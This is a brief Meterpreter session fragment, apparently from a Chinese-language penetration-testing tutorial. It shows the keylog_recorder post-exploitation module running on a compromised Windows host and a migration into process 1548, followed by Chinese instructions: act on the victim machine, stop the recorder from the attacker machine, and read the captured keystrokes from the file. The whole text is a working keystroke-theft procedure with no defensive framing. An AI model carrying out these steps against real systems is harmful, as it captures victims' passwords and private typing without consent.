meterpreter > run post/windows/capture/keylog_recorder

meterpreter > migrate 1548
[*] Migrating to 1548...
[*] Migration completed successfully.
meterpreter > run post/windows/capture/keylog_recorder

在被攻击者主机上进行操作

在攻击机上ctrl+c中止，然后cat 文件，看捕获到的内容